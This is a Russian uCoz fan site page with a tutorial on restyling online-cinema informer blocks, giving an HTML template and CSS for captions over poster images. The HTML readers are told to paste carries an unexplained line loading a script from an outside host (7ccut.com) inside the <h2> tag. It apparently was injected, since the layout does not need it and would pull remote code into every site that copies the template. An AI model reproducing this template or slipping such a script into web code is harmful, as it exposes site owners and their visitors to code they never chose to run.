сайт Zombi-Public i Hns
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Меню сайта
Главная страница форум Информация о сайте Каталог файлов фотоальбом блог гостевая книга
Всё для UCoz
Скрипты для UCOZ Шаблоны для UCOZ Иконки групп Шапки для сайта Кнопки форума
sa:mp
Counter Strike
Меню для Counter Strike Карты Модели оружия Модели игроков Прицелы Радары Модели перчаток
Реклама
Наш баннер


Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте




Наш опрос
Оцените мой сайт
javascript:// javascript://
Всего ответов: 23
Нас посетили
Кто нас сегодня посетил
Статистикa
Анализ сайтов, проверка тиц, pr Информер сайта PR-CY.ru MyTOP.kz Яндекс.Метрика
CY and PR
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2014 » Январь » 25 » Вид информера онлайн кинотеатра
18:55
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Просмотров: 71 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа
Привет, Гость

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Друзья
Мини-чат
200
Календарь
Архив записей
МЫ В TOP
Все для uCoz|кино фильмы онлайн Рейтинг VOON.RU TOP100 Game's TOP-100 Counter BIGwebs.ru-ТОП раскрутка раскрутка сайтов. Каталог Ресурсов Интернет Лучший Топ Сайтов от Samp-Sait.Net.Ru Game-Ws.Com - лучший игровой ТОП сайтов! Dragon-css.ucoz.ru - лучший ТОП сайтов интернета! Graffiti Decorations(R) Studio (TM) Site Promoter
fighter-cs.do.am/